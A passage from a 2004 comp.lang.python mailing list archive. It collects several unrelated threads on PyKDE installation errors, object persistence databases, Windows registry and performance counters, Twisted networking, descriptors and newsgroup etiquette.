> sip module. When I run the importTest.py script that comes with
> PyKDE, I get this:
 
> -------------------------------------
> Testing PyKDE module imports
 
> dcop
> /usr/lib/python2.3/site-packages/dcop.py:22: RuntimeWarning:
> Python C API version mismatch for module libsip: This Python
> has API version 1012, module libsip has version 1011.
>    import libsip
> kdecore
> kdesu
> kdefx
> kdeui
> Traceback (most recent call last):
>    File "importTest.py", line 7, in ?
>      exec ("import " + mod)
>    File "<string>", line 1, in ?
>    File "/usr/lib/python2.3/site-packages/kdeui.py", line 67,
>    in ?
>      import libkdeuic
> ImportError: libpython2.3.so.1.0: cannot open shared object
> file: No such file or directory
> ---------------------------------
 
> If anyone could give me an easy solution to the problem (or any
> solution, but easy would be preferable ;) that would be
> fantastic.

I'm not sure what this error is, but libkdeuicmodule should be
looking for libpythonize.so.1.0, which should be in /usr/lib and
symlinked some other places. The first thing to do is see if
libpythonize is in /usr/lib, and if the Makefile in
PyKDE-3.8/pythonize LFLAGS includes: -soname,libpythonize.so.1.
You can't do panel applets without this. It would also be useful
to do:

    ldd /usr/lib/python/site-packages/libkdeuicmodule.so

or whatever the path to that lib is on your system. You can also
check the LIBS line in the kdeui/Makefile - should include
-lpythonize. It would also help to know what KDE version your
running, and which PyKDE release.

Either reply here or email me privately (jbublitz at nwinternet.com)
and we should be able to get it straightened out. Let me know
what you find out.

PyKDE-3.8 was a pretty crappy release as far as installation goes
(it works great if you can get it installed though). The cause
of that has been resolved and the next release should be a lot
easier to install. However the next release won't include panel
applet support, since that's being split off into a separate
package - I'm not maintaining that at the moment and haven't
checked on the status lately, but I'll see what I can find out
there too.

Sorry for the problems.

Jim


From andymac at bullseye.apana.org.au  Fri Feb 20 05:01:33 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Fri, 20 Feb 2004 21:01:33 +1100 (EST)
Subject: AVPython on ArcGIS?
In-Reply-To: <c13dg4$qmc$1@sea.gmane.org>
References: <c3835e5f.0402191224.9b5d076@posting.google.com>
	<c13dg4$qmc$1@sea.gmane.org>
Message-ID: <20040220205151.Y37600@bullseye.apana.org.au>

On Thu, 19 Feb 2004, Bruce Dodson wrote:

> AVPython itself will not be ported to ArcGIS 8 or 9.
> However, I have been working occasionally to make ArcObjects
> accessible from Python.  I call it PyArcObjects.  I made
> some progress, but also found some gotchas in the ArcObjects
> typelibs.  All in all, this is a much more ambitious project
> than AVPython, and will take longer to get right.

Damn!  gazumped on the name!  I'm awaiting legal clearance from my
employer to release a ctypes based interface package (which I'd planned to
call PyArcObjects) to the ArcObjects COM API, based on the ArcGIS 8.3
typelibs.

So far it works well for what I've needed to do.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From jcarlson at nospam.uci.edu  Wed Feb 11 02:47:12 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 10 Feb 2004 23:47:12 -0800
Subject: software design question
In-Reply-To: <95aa1afa.0402102316.60fb3c22@posting.google.com>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
	<95aa1afa.0402102316.60fb3c22@posting.google.com>
Message-ID: <c0cmqg$3c8$1@news.service.uci.edu>

> Moreover, I feel much easier to edit simultaneously 
> three or four buffers than to navigate back and forth on a very long single 
> buffer.

Depending on the features of your editor, going to different locations 
in the current buffer (even offset by many lines) can be arbitrarily 
trivial.  When you have a source tree, you are a double-click away from 
any class/function/method (or even properly-formed comments, depending 
on the editor support).  For those cases when keyboards shortcuts are 
convenient, some editors have per-line bookmarks that allow you to hop 
to often-used code portions very quickly.

I'm sure all of this can be done with Emacs (perhaps even Vim), if you 
know how to do it.


> P.S. once I computed the average lenght of modules in the standard library.
> The result was something like 200 lines.

Sounds like a histogram is in order.  Maybe I'll do it this weekend when 
I have the time.

  - Josiah


From jeremy at zope.com  Thu Feb  5 21:54:11 2004
From: jeremy at zope.com (Jeremy Hylton)
Date: Thu, 5 Feb 2004 21:54:11 -0500
Subject: Looking for a DB for object persistance...
In-Reply-To: <LnBUb.47585$nL.463437@weber.videotron.net>
Message-ID: <IOEAJCCLBLFDOCOBOEGNKENGCIAA.jeremy@zope.com>

> I need it to:
>
> Works both in Linux and windoze
> Server independent (no Mysql or the like)

I'm not sure what you mean by server independent.  Do you mean you don't
want a solution that requires you to run a separate server process?

> Allow simultaneous access by multiple process for read/write operations.
> Be able to hold lots of data (close to a gig)
>
> I tough Berkeley DB with bsddb3 would be the ticket, but I could not
> make sense of the installation instructions for win32, no mention of
> python.

It does work with Python.  I've built it for Python 2.3 on Windows NT.
There are instructions in the PCbuild subdirectory of the Python source
tree.

> I am considering Zodb3, but did not find info for simultaneous access
> capability.

Within a single process, any number of threads can access independent,
consistent views of the database.  If you run a ZEO server, then clients on
any machine can connect to the server to access the database.  It works on
Windows and Linux, and I'm familiar with several installations that have
databases with > 10GB of data.

If all you want is a shelve interface, you'd probably do better with
BerkeleyDB.  ZODB provides a more natural interface for Python programs --
it just stores objects -- but it does have a different programming model
than shelve.  On the other hand, ZODB is faster than BerkeleyDB for many
applications.

Jeremy




From roy at panix.com  Thu Feb 19 20:58:46 2004
From: roy at panix.com (Roy Smith)
Date: Thu, 19 Feb 2004 20:58:46 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
Message-ID: <roy-D9F30F.20584619022004@reader2.panix.com>

In article <4034D506.2E37519A at netsurf.de>,
 Andreas Lobinger <andreas.lobinger at netsurf.de> wrote:

> How to generate (memory and time)-efficient a string containing
> random characters?

Find a perl file on your system and read it?


From bignose-hates-spam at and-benfinney-does-too.id.au  Mon Feb  9 21:16:02 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 10 Feb 2004 13:06:02 +1050
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
Message-ID: <slrnc2ggsi.14l.bignose-hates-spam@rose.localdomain.fake>

On Mon, 09 Feb 2004 21:22:27 -0500, Bart Nessux wrote:
> I understand that most people write functions to reuse code, no?

No.  I write functions to make complex code sequences more simple --
i.e. for abstraction.  Parcel up the behaviour that can conceptually be
considered a single action, and put it away in a function.

This has the valuable benefit that the function can then be re-used in
other places needing the same action; but that's not the reason I write
them to begin with.

> So, I assume it would be better to write functions that are very
> specific, as opposed to those that are more generic. 

I've no idea how "re-use the code" leads you to think of more specific
functions -- surely the trend would be to more *generic* functions, that
can thus be re-used in more places?

> Is this wrong? I know functions were not intended for this, but if I
> don't use them in this manner, I might as well do everything globally,
> and I don't see any difference in the two approaches.

I recommend you get a copy of Code Complete (Steve McConnell, published
by Microsoft Press).  It is an extremely comprehensive and approachable
tome on the actual practice of writing code.

In particular, it explains just about every reason to use abstraction in
data, code and algorithms.  Some you may have heard before, but my
feeling from your message is that a lot of it will be new -- and all of
it is valuable.

-- 
 \        "If you go to a costume party at your boss's house, wouldn't |
  `\     you think a good costume would be to dress up like the boss's |
_o__)                       wife? Trust me, it's not."  -- Jack Handey |
Ben Finney <http://bignose.squidly.org/>


From klaus_neuner82 at yahoo.de  Wed Feb  4 04:24:23 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 4 Feb 2004 01:24:23 -0800
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
	<3e96ebd7.0402030333.7c303cfb@posting.google.com>
	<Xns9484E363BA7BDduncanrcpcouk@127.0.0.1>
Message-ID: <3e96ebd7.0402040124.62db226@posting.google.com>

Thanks.


From mhammond at skippinet.com.au  Mon Feb  9 00:05:38 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Mon, 09 Feb 2004 16:05:38 +1100
Subject: Writing Windows performance counters
In-Reply-To: <pan.2004.02.09.02.53.54.338788@spamfree.optushome.com.au>
References: <pan.2004.02.09.02.53.54.338788@spamfree.optushome.com.au>
Message-ID: <c074fa$2shp$1@arachne.labyrinth.net.au>

David Mitchell wrote:

> Could someone point me towards some sample code that creates performance
> counters and updates them?  I suspect it's possible using perfmondata.dll
> that comes with win32all, but can't begin to guess how to get started.

I thought there was sample code in win32all, but it looks like it never 
got created - but 1/2 of it is there.

The win32\demos\service\install directory has a .h and a .ini file that 
are used by Windows itself when installing the perfmon data.

Somewhere, your runtime code should implement code similar to:

counters = [] # Empty list to fill with counters.

# Counter of document opens.
# Magic numbers (2, 4, 6) must match header and ini file used
# at install - could lookup ini, but then I'd need it at runtime
counterSomething=perfmon.CounterDefinition(2)
counterSomething.DefaultScale = 1
counters.append(counterSomething)

counterSomethingElse=perfmon.CounterDefinition(4)
counterSomethingElse.DefaultScale = 1
counters.append(counterDocSave)

perfObjectType = perfmon.ObjectType(counters)

# end of sample

The magic numbers must match the .h and .ini (which is a requirement of 
Windows, not us!)  Once the above code has been run, 'counterSomething' 
and 'counterSomethingElse' can have their 'Increment' method called, to 
increment the counter.

Note that I don't try and hide the win32 gory details here, so you 
really must read the MS documentation on this complicated mechanism.

Let me know if you would like any help.  A very useful thing to do would 
be to create a sub-class of the existing demo service, with the subclass 
doing nothing other than providing the perfmon data.  This was always my 
intent.  If you have trouble getting it going, providing the above as 
sample code to demonstrate your problem would get a good response ;)

Mark.



From mcfletch at rogers.com  Wed Feb 25 02:55:39 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 02:55:39 -0500
Subject: Sharing accomodation @ PyCon?
In-Reply-To: <c1hj20$5ac$1@panix1.panix.com>
References: <mailman.64.1077656623.8594.python-list@python.org>
	<c1hj20$5ac$1@panix1.panix.com>
Message-ID: <403C54FB.6050307@rogers.com>

Aahz wrote:

>In article <mailman.64.1077656623.8594.python-list at python.org>,
>Mike C. Fletcher <mcfletch at rogers.com> wrote:
>  
>
>>I'm still looking for someone with whom to share a room at PyCon.  I'd 
>>prefer the Best Western in Arlington (1 subway stop from PyCon).  I'd 
>>like to book or confirm sharing someone else's booking within the next 
>>few days.
>>    
>>
>
>For you or anyone else interested in doing this, it's probably a good
>idea to specify which dates you want, given the sprint 3/20-23 and the
>conference 3/24-26.
>  
>
Good point, I'm planning on attending only the conference, as I'm coming 
in on the PyCon bus from Toronto.  Nights of the 23, 24, 25, 26 (i.e. 
arriving night before conference, leaving day after).  However, I guess 
everyone posting there itinerary here is silly. 

Let's use the PyConForCheap page on the Wiki for pairing up...

    http://www.python.org/cgi-bin/moinmoin/PyConForCheap2004

Scroll to the bottom to see those looking for pairings, add your name if 
you want to pair or contact compatible person to share.  Take your name 
off the list when you book a room.

Have fun all,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From nuffsaid at phreaker.net  Fri Feb  6 10:05:02 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Fri, 06 Feb 2004 16:05:02 +0100
Subject: How to send a file as an argument when running another file in
	Python
References: <ea69a371.0402051339.78b09d69@posting.google.com>
Message-ID: <pan.2004.02.06.15.05.00.971174@phreaker.net>

On Thu, 05 Feb 2004 13:39:53 -0800, se7en wrote:

> I have this file x.py and I need to execute it with y.met as an
> argument.  Unsure of syntax etc...
> 
> -Python newbie

Use:

    import sys

    filename = sys.argv[1]
    print filename

Usage:

    python x.py y.met 

(sys.argv is a list where the first entry (i.e. sys.argv[0]) is
the name of your Python script and the other entries are the
command line arguments which you passed to your script.)

HTH / Nuff



From pythonguy at Hotpop.com  Tue Feb  3 03:57:25 2004
From: pythonguy at Hotpop.com (Anand Pillai)
Date: 3 Feb 2004 00:57:25 -0800
Subject: How to include schema while creating an xml file
References: <mailman.1116.1075708466.12720.python-list@python.org>
Message-ID: <84fc4588.0402030057.57ef5376@posting.google.com>

This is the wrong forum to post your question.  Try one 
of the xml newsgroups.

Anyway to answer your question, here is the way to do it.

<Element xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="myschema.xsd">
...
</Element>


-Anand

"bala" <blk at srasys.co.in> wrote in message news:<mailman.1116.1075708466.12720.python-list at python.org>...
> Hi,
>     How to include schema while creating an xmlfile..
> 
> Regards
> Bala
> --


From peter at engcorp.com  Wed Feb 18 11:41:34 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 11:41:34 -0500
Subject: PEP218: Representing the empty set
References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
	<403281B3.7E370347@engcorp.com>
	<7xlln1pfip.fsf@ruckus.brouhaha.com>
	<40328E21.E451AE5A@engcorp.com>
	<7xznbh72xp.fsf@ruckus.brouhaha.com>
Message-ID: <403395BE.6BE736DC@engcorp.com>

Paul Rubin wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> > I think the example I would have in mind is a comparison:
> >
> > if a == []:
> >     # do something
> >     if b != {}:
> >         a.append(b)
> >
> > or whatever....  If the empty item
> > is merely a temporary, to be used and discarded, then the apparent
> > extra overhead of the call, and the less succinct syntax, lead me to
> > think the short form is preferable.
> 
> But you suffer the overhead either way.  The {} syntax may be worse
> than the function call syntax because it looks like it avoids the
> overhead when it really doesn't.  The correct way to avoid the
> overhead is with "if len(b) != 0: ... ".

Who said this was about overhead?  Oh, wait, you thought I did...
because of the part where I said "overhead". :-)

I didn't mean that what is important is whether or not there *is*
actual overhead.  Merely that the one approach, with the literal,
fits more easily in the brain and "feels" better.  Whether this is
because one (mistakingly) believes at some low level that it has
less overhead or not is irrelevant.  

Given the option, perhaps even if it had *higher* overhead, I would
still prefer the more readable (to me) literal form.

-Peter


From tjarko at dutlbcz.lr.tudelft.nl  Fri Feb 27 10:16:28 2004
From: tjarko at dutlbcz.lr.tudelft.nl (Tjarko de Jong)
Date: Fri, 27 Feb 2004 16:16:28 +0100
Subject: wxPython tutorial?
References: <36965e8.0402262255.122d167f@posting.google.com>
	<YdE%b.22928$W74.17716@newsread1.news.atl.earthlink.net>
Message-ID: <conu309oacn903e0fl8e07rbb139ibfefg@4ax.com>

On Fri, 27 Feb 2004 09:38:00 GMT, Greg Krohn
<greg.invalid at capra.us.invalid> wrote:

>Jive Dadson wrote:
>> I'm trying (without conspicuous success) to start learning
>> wxPython.  Sooo... I opened the doc page wxPythonManual.html#wxpython-overview.
>> The very first example does not work.  Try it.  I find much of what follows
>> to be incomprehensible.  Is there a good tutorial for novices?
>> 
>> Here's the example that does not work.  ("No module named frame")
>> 
>[snip]
>
>Weird. I've never seen imports like that with wxPython before.

It keeps the namespace clear. see:
http://cvs.osafoundation.org/index.cgi/osaf/chandler/wxpython/wxPython/docs/wxPackage.html?rev=HEAD



From tjreedy at udel.edu  Mon Feb  9 12:27:22 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 9 Feb 2004 12:27:22 -0500
Subject: [pyGame] set position
References: <gcMVb.113$Fd.67@newsr2.u-net.net>
Message-ID: <c08ftr$901$1@sea.gmane.org>


"Yomanium Yoth Taripo?t II" <Yomanium at Yomanium.com> wrote in message
news:gcMVb.113$Fd.67 at newsr2.u-net.net...
> Hi,
>
> how to set pygame screen position, on the desktop??
>
> default create is on center, and i want to change it.
>
> thx in advance.

If you do not get an answer here, try the pygame mailing list, which is the
more appropriate place for questions about PyGame rather than Python.

tjr






From eltronic at juno.com  Fri Feb  6 16:25:15 2004
From: eltronic at juno.com (eltronic at juno.com)
Date: Fri, 6 Feb 2004 16:25:15 -0500
Subject: new newbie [c.l.py FAQ]
Message-ID: <20040206.162516.-203479.3.eltronic@juno.com>


On Fri, 06 Feb 2004 19:34:15 GMT not_yet <user at domain.invalid> writes:
> also wanted to ask is there a faq for this group?
> 
no,
there is one for #python on IRC.
many of the questions asked here
have been answered in the python FAQ.

here are a few of the subjects such a FAQ might cover.


don't cross post to c.l.*
  many people read via email and their answers won't travel.
  language wars are futile because python is a moving target.

how much to quote in your reply? 
  remember this list is gated and many people read through email and
probably cant refer back to earlier messages, for that matter people
reading on other than google might not save every message so please
always include enough context that the reply, (even a thankyou if you
must) makes sense and stands on its own as a message.

don't top post.
  makes a little sense on google but nowhere else.
  no exceptions.

ask smart questions, get better answers.

please do some searching for the answer before you post.
  add:
   word +python -monty -snake 
  in your search to improve the chances of getting 
  useful information. you can also search at google or 
  ASPN at ActiveState in only this newsgroup.

we will try to guess but for the best chance of getting the answer,
properly describe the problem you are having and what you expect.

choose a good subject line. 
  "help, nubee problem" etc are not descriptive.  heh
   eliminate inadvertant redundancies in the subject. 
   include modifiers like
     [OT] off topic, ...(long),ANN: , as applicable.
   try not to misspell major subject words.

give your operating system and version and any 
  relevant hardware info the python version
  and how it was compiled if known.

test any code before you post. don't guess.
pare down any examples to the bare minimum 
to present the error.
post a few lines of sample test data.
copy & paste any error traceback.
don't re edit the code you post from the interpreter.

don't post with tabs
  in outlook express and a few other news/email
  readers they get deleted. 
  above all don't mix tabs and spaces. 
  get an editor that will translate tabs for you.

the act of making a useful post will 
  often provide the answer for yourself.
  feel free to post the q&a for comment anyway.

post text not hTml.

please don't post test messages.
don't post test messages.
  test messages, except if your physically working on the email gateway
at aspn or python.org are a nuisance even if you say test please don't
read etc. there are test groups for that.

if your soliciting downloads, please give the file size and any OS
restrictions. nothing worse for a window user to see some mac specific
stuff 20 minutes after a long download and examining the source for
errors. if you've packaged up the executable only version and no source
is going to be available many will want to know that too. specify the
python version so we can decide if requiring version 2.3 makes sense and
give enough details about the program function itself to know what the
GUI the potential limitations or any licence restrictions are.

if the post seems related to homework
expect to get hints and not running examples
with all the bells & whistles from every responder.

please don't repeat the question with more than 
one subject line from more than one address
more than once in a great while. you didn't see your
question because you or something down the line is lagged.
give it a day or two at least to reach you. 
and a few more for someone with a similar interest to respond.
in spite of the usual lightning response time normally seen.

chances are twisted already does it so please try that first. 

learn the difference between text and binary mode for files.

#when in doubt,
import this


* some ideas, words and or characters might have been lifted entirely
from earlier responses and no credit to them or their bots will be
attempted.
** realize that the target audience for this type of information
has already proved adverse to guidance before posting.

e

________________________________________________________________
The best thing to hit the Internet in years - Juno SpeedBand!
Surf the Web up to FIVE TIMES FASTER!
Only $14.95/ month - visit www.juno.com to sign up today!



From jcarlson at nospam.uci.edu  Sun Feb 29 15:44:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 29 Feb 2004 12:44:17 -0800
Subject: How to use plugins..
In-Reply-To: <mailman.211.1077910497.8594.python-list@python.org>
References: <mailman.211.1077910497.8594.python-list@python.org>
Message-ID: <c1tj44$2fs$1@news.service.uci.edu>

> 1.)
> Assume my package is installed on path x and has a subdirectory named
> plugins.
> If I import my package I want to scan automatically the plugin
> directory.

os.listdir(path)

> 2.) 
> Plugins should follow a common interface,  is there a way to enforce
> this?
> (Actually I think this might be easy.)

use try and except liberally:

try:
     plugin.function(args...)
except:
     #report plugin error


  - Josiah


From dk123456789 at REMOVEhotmail.com  Wed Feb 11 19:02:12 2004
From: dk123456789 at REMOVEhotmail.com (Dave K)
Date: Thu, 12 Feb 2004 01:02:12 +0100
Subject: str.find for multiple strings
References: <c0drlj$hsj$1@solaris.cc.vt.edu> <402A7FDC.8D47A02B@engcorp.com>
	<c0e0u6$p8g$1@solaris.cc.vt.edu>
Message-ID: <5hel20hgg1cs65rsog2jp0eg35dsn6rrq1@4ax.com>

On Wed, 11 Feb 2004 14:48:22 -0500 in comp.lang.python, Bart Nessux
<bart_nessux at hotmail.com> wrote:

>Peter Hansen wrote:
>> Bart Nessux wrote:
>> 
>>>x = str.find(temp, '120.50')
>>>
>>>I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
>>>just one str.find... I can use re if I must, but I'd like to avoid it if
>>>possible.
>> 
>> 
>> In addition to Fecundo's questions, here's another.  What does "temp"
>> contain?  A single temperature string, or a temperature embedded in
>> a bunch of other stuff, or a whole series of temperatures, or what?
>> 
>> -Peter
>
>Here's what I'm doing
>
>def exclude():
>    import os
>    os.chdir('/home/rbt/scripts')
>    inputFile = file('ath_ips.txt', 'r')
>    data = inputFile.read()
>    inputFile.close()
>    comment = '#'
>    net0 = '128.173.120.'
>    net1 = '128.173.122.'
>    host0 = ['50','51','52','53','54','55']
>    host1 = ['17','25','49','50','55','58','70']
>    for h0 in host0:
>       h0 = net0+h0
>       rep0 = comment+h0
>       sea0 = str.find(data, h0)
>       if sea0 >=0:
>          data = data.replace(h0, rep0)
>    for h1 in host1:
>       h1 = net1+h1
>       rep1 = comment+h1
>       sea1 = str.find(data, h1)
>       if sea1 >=0:
>          data = data.replace(h1, rep1)
>    outputFile = file('ath_ips.txt', 'w')
>    outputFile.write(data)
>    outputFile.close()
>

There's no need to do an explicit find() before replace(). Your 'for'
loops can be written as

   for h0 in host0:
      data = data.replace(net0+h0, comment+net0+h0)
   for h1 in host1:
      data = data.replace(net1+h1, comment+net1+h1)


Or reduce it to one 'for' loop with list_comprehensions

   for host in [net0+h0 for h0 in host0] + [net1+h1 for h1 in host1]:
      data = data.replace(host, comment+host)

Dave


From selwyn at aotearoa_is_home.nz  Thu Feb 19 02:25:24 2004
From: selwyn at aotearoa_is_home.nz (selwyn)
Date: Thu, 19 Feb 2004 20:25:24 +1300
Subject: wxPython progress bar widget
In-Reply-To: <d3be1825.0402182028.1af54cb4@posting.google.com>
References: <d3be1825.0402182028.1af54cb4@posting.google.com>
Message-ID: <xpZYb.25111$ws.3080628@news02.tsnz.net>

Jani Yusef wrote:
> Does wxPython have a progress bar widget for use. If so I can't seem
> to find anything via google.......
> My app is pythoncard/wxPython based. I'd like to have a graphical bar
> meter of some sort to show the status of a recurring lengthy file
> upload done by the app.
> Any advice or suggestions?
> Thanks!!
in pythoncard this is a Gauge (which wraps wxGauge)



From mhammond at skippinet.com.au  Fri Feb  6 18:21:33 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sat, 07 Feb 2004 10:21:33 +1100
Subject: Writing to REG_MULTI_SZ windows registry keys
In-Reply-To: <mailman.1306.1076091187.12720.python-list@python.org>
References: <mailman.1306.1076091187.12720.python-list@python.org>
Message-ID: <c017i3$rud$1@arachne.labyrinth.net.au>

Pat Blair wrote:
> Hello.  I'm looking for any information I can get about writing values 
> to keys in the Windows registry when the value type is a multi-string 
> (ie. REG_MULTI_SZ).  When I get the value of a multi-string value using 
> winreg functions, I get a tuple with tuple[0] being a list, and tuple[1] 
> a number.

This function will be documented as returning a tuple of (data, 
data_type).  Hence, tuple[0] is your data, which itself is a list.

> If I try to write such a tuple back into a multi-string 
> value, I get the following exception:

You pass the type you want to set as one param, and the data as another. 
  Try just passing tuple[0] back into the function (but obviously 
specifying REG_MULTI_SZ as the type)

Mark.



From andrew-pythonlist at puzzling.org  Tue Feb 24 20:24:41 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Wed, 25 Feb 2004 12:24:41 +1100
Subject: xmlprclib/server not reusing connections
In-Reply-To: <tn5rg1-986.ln1@home.rogerbinns.com>
References: <mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
Message-ID: <20040225012441.GA4898@frobozz>

On Mon, Feb 23, 2004 at 09:57:55PM -0800, Roger Binns wrote:
> > You might have better luck with Twisted http://twistedmatrix.com/.
> 
> I did look at twisted but really don't like it.  In particular I really
> don't like the event driven code, that has to add callbacks and
> deal with partial state when called.

I was initially skeptical too, but I found that the small cost of using
callbacks to be well worth the benefit of avoid threads most of the time.
Threads invite all sorts of difficult to reproduce and debug problems like
race conditions and deadlocks.

That said, event-driven programming doesn't suit every problem.  Twisted
does try fairly hard to reduce the burden of asynchronous code, though:
Deferreds make chains of callbacks easy to handle, and the twisted.flow
package uses python 2.2's generators to allow synchronous-looking code to
yield to the event loop:
    http://twistedmatrix.com/documents/howto/flow

And of course Twisted's splitting of network code into reactor, factory,
protocol and transport objects is a really nice abstraction, but that would
probably translate just fine into blocking code too (except perhaps the
reactor would be largely irrelevant?).

> That is certainly the right way to do things if you want to avoid
> using threads.  It is however complicated and convoluted.  See this
> example:
> 
> http://twistedmatrix.com/documents/howto/tutorial#auto20

That example looks fine to me, but perhaps I've been using Twisted too long!
:)

I certainly have no problems reading that code and immediately understanding
what every part of it does.

> The model I far prefer is to use multiple threads (available on all
> major Python platforms) and use worker threads with work queues.
> They turn out to be simpler since they don't have queue callbacks
> or effectively be a glorified state machine scattered across
> several functions.

That's fine.  Twisted doesn't prevent you from using threads!
reactor.callInThread(func, args...) will run a function inside a thread pool
(or you can just start and manage threads yourself), and
reactor.callFromThread provides a safe way for a thread to run some code in
the main event loop.  Twisted itself does this in e.g. the
twisted.enterprise.adbapi module, to provide an asynchronous interface
around a synchronous DB-API modules.

> > Glancing at that, it looks like using Twisted to implement that would be a
> > lot easier, and shorter.
> 
> Except it wouldn't unless twisted already had the necessary functionality
> which it doesn't.  I would have to go through a similar exercise with
> twisted, which is far more complicated.

Well, Twisted already has persistent HTTP connections and SSL.  So e.g. the
vast bulk of your XMLRPCRequestHandler.do_POST would disappear, because
twisted.protocols.http already does that.

Perhaps my point wasn't clear: I wasn't saying that Twisted will inherently
make any network code much much shorter[1], I was saying that Twisted
already has sufficient HTTP and SSL support to meet your needs, and that you
could re-use that.  Of course, now that you've written what you need without
Twisted, you probably don't care very much :)

-Andrew.

[1] Although I think on average it probably does, and makes it easier to
    write, too.  The wide variety of protocols available in twisted.protocols
    suggests to me that I'm at least part right about this...
    



From pinard at iro.umontreal.ca  Wed Feb 11 19:30:37 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Wed, 11 Feb 2004 19:30:37 -0500
Subject: Checking for usual descriptors in Python 2.3
Message-ID: <20040212003037.GA31543@alcyon.progiciels-bpi.ca>

This question is a bit technical, but hopefully, this list will offer me
good hints or nice solutions.  Happily enough for me, it often does! :-)

I would need to recognise and play with descriptor types, like:

    member descriptors
    method descriptors
    getset descriptors
    wrapper descriptors

but do not find how to easily refer to them, either from existing
constructor types (like we could do with `property', say), nor from
members of the `types' module.  I also wonder how much I can "get into"
these various descriptors or tear them apart...


P.S. - If you are curious, my real goal is creating some metaclass able
to build kind-of-shadow classes for various pygtk widgets, lazily, on
the fly.  If experimentation shows that this is not speedy enough, than
I may rather have a pre-processor that would produce Python source
instead.  In any case, I need to learn how to explore descriptors at run
time, rather than working hard at scanning/parsing real pygtk sources.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From gerrit at nl.linux.org  Thu Feb  5 15:28:04 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 5 Feb 2004 21:28:04 +0100
Subject: unbuffered input
In-Reply-To: <4022A58B.6070903@valdosta.edu>
References: <4022A58B.6070903@valdosta.edu>
Message-ID: <20040205202804.GA6311@nl.linux.org>

michael young wrote:
>   I have a numbered menu that I want users to from. They choose the
> number corresponding to the action they wish to take.
> Right now I'm using input() to get the user's responce. They press the
> number then press ENTER. I would like to skip the
> part where they press ENTER, so that the user presses the number and
> then they get the action they chose without having
> to press ENTER. Is there a way to do this and how?

Yes, but it's not really platform-independent.
You can find a way to do this at:

    http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/134892

On Windows, you can use the getch() function from the mscvrt module.
On Unix, it is a bit more difficult, but the trick is using tty.setraw.
On Mac, you use the Carbon package.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From claird at lairds.com  Thu Feb 12 19:32:28 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 13 Feb 2004 00:32:28 -0000
Subject: Table Oriented Programming
References: <mailman.2.1076613028.31398.python-list@python.org>
	<102nomqgcceleac@news.supernews.com>
Message-ID: <102o6ost5a80re8@corp.supernews.com>

In article <102nomqgcceleac at news.supernews.com>,
John Roth <newsgroups at jhrothjr.com> wrote:
			.
			.
			.
>It's an intriguing idea; I've had the occasional thought of
>wanting an in-memory relational algebra implementation (which
>is what he's actually specifying once you get him down off of
>the hobby-horse he's riding.)
>
>Put together a package and see whether it flies for real world
>problems. That's the usual path for inclusion into Python - put a
>pure Python package together, see if you can get people excited
>about actually using it, and then propose it for inclusion into the
>standard library.
>
>John Roth
>
>

Notable contributor Jean-Claude Wippler is just now releasing some
<URL: http://www.equi4.com/pipermail/starkit/2004-February/001829.html >
of his implementations in the area of relational algebra.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From fuka at fuxoft.cz  Sat Feb  7 12:10:49 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sat, 07 Feb 2004 18:10:49 +0100
Subject: [Twisted] Sessions validity
Message-ID: <c0365p$j8q$1@ns.felk.cvut.cz>

Sorry for posting this here but I got no reaction when asking in 
twisted-web mailing list:

Twisted stores the Session objects using cookies. I'd like to know how 
long these Sessions last (it seems to be 30 minutes?) and - more 
importantly - I'd like my application to be able to set different 
Session timeouts for different users. I need some of the users (just 
some!) to be able not to click on anything on the site for several hours 
and still be logged in afterwards, when they click.

Is there a way to do this cleanly or do I have to change the Twisted 
sources? (I admit I am not very proficient with the cookies)

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From t-meyer at ihug.co.nz  Wed Feb 18 18:46:18 2004
